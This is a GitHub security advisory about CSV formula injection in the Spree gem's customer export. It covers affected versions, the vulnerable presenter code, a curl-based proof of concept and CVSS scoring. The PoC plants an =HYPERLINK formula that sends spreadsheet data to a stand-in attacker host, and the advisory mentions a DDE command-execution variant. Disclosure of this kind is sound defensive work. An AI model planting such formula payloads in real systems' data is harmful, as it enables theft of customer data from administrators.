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Spree: CSV Formula Injection in Customer Export

Moderate severity GitHub Reviewed Published May 19, 2026 in spree/spree • Updated Jun 4, 2026

Package

bundler spree (RubyGems)

Affected versions

>= 5.2.0, < 5.2.8
>= 5.3.0, < 5.3.6
>= 5.4.0, < 5.4.3

Patched versions

5.2.8
5.3.6
5.4.3

Description

Summary

CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted
Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the
context of the administrator's desktop, potentially exfiltrating data or executing OS commands
via DDE (Dynamic Data Exchange).

Details

Affected presenters and fields

Presenter Path User-controlled fields
CustomerPresenter spree/core/app/presenters/spree/csv/customer_presenter.rb:36 first_name, last_name, address1, address2, city, phone

Vulnerable code — customer_presenter.rb (representative example)

# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53
def call
  csv = [
    customer.first_name,          # ← written verbatim; may contain =HYPERLINK(...)
    customer.last_name,           # ← user-controlled
    customer.email,              
    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
    customer.address&.company,    # ← user-controlled
    customer.address&.address1,   # ← user-controlled
    customer.address&.address2,   # ← user-controlled
    customer.address&.city,       # ← user-controlled
    customer.address&.state_text,
    customer.address&.state_abbr,
    customer.address&.country&.name,
    customer.address&.country&.iso,
    customer.address&.zipcode,
    customer.phone,               # ← user-controlled
    customer.amount_spent_in(Spree::Store.current.default_currency),
    customer.completed_orders.count,
  ]
  csv += metafields_for_csv(customer)
  csv
end

PoC

Precondition: A Spree store with public customer registration enabled (default
configuration). No special permissions required for the attacker.

Step 1 — Register as a customer with an injected first name

curl -X POST https://store.example.com/api/v3/store/customers \
  -H "Content-Type: application/json" \
  -H "X-Spree-Api-Key: pk_<publishable_api_key>" \
  -d '{
    "email": "attacker@evil.com",
    "password": "password123",
    "password_confirmation": "password123",
    "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")",
    "last_name": "Smith"
  }'

Step 2 — Admin triggers a customer export

curl -X POST https://store.example.com/api/v3/admin/exports \
  -H "Authorization: Bearer <admin_jwt>" \
  -H "Content-Type: application/json" \
  -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}'

Step 3 — Admin polls until ready, then downloads

# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export_id> \
  -H "Authorization: Bearer <admin_jwt>"

# Download
curl https://store.example.com/api/v3/admin/exports/<export_id>/download \
  -H "Authorization: Bearer <admin_jwt>" \
  -o customers.csv

Step 4 — Verify injection in the raw CSV (without opening in Excel)

Open customers.csv in a text editor. The first data row will contain:

"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",...

Step 5 — Admin opens customers.csv in Microsoft Excel (Windows)

  • Excel warns about external data connections; if the administrator clicks Enable, the
    HYPERLINK formula fires and sends a GET request to http://attacker.example.com/exfil?d=<B1_value>.
  • Cell B1 in the customers export is the Last Name column. Adjacent columns contain
    email, address, and order total data for all exported customers.
  • With the DDE variant (=CMD|...) on older or unpatched Excel versions, a subprocess
    is launched on the administrator's machine.

Impact

Vulnerability class: CSV / Formula Injection (CWE-1236)

Who is impacted

  • Administrators who download and open export files in spreadsheet software are the
    direct victims. Administrative accounts have access to all store data, payment method
    configurations, customer PII, and full order history.

Realistic attack chain

Step Actor Action Privilege required
1 Attacker Registers as customer Public registration
2 Attacker Sets first_name to formula payload None beyond registration
3 Admin Runs a routine weekly/monthly export Normal operational task
4 Admin Opens CSV in Excel None
5 Attacker Receives exfiltrated spreadsheet data Passive

Data at risk

All data visible to the administrator in the spreadsheet at the time of opening, including:

  • All exported customer emails, names, addresses, phone numbers
  • Order totals and purchase history
  • Any other columns in the same export file

References

@damianlegawiec damianlegawiec published to spree/spree May 19, 2026
Published to the GitHub Advisory Database Jun 4, 2026
Reviewed Jun 4, 2026
Last updated Jun 4, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction Active
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

EPSS score

Weaknesses

Improper Neutralization of Formula Elements in a CSV File

The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-xf4v-w5x5-pv79

Source code

Credits

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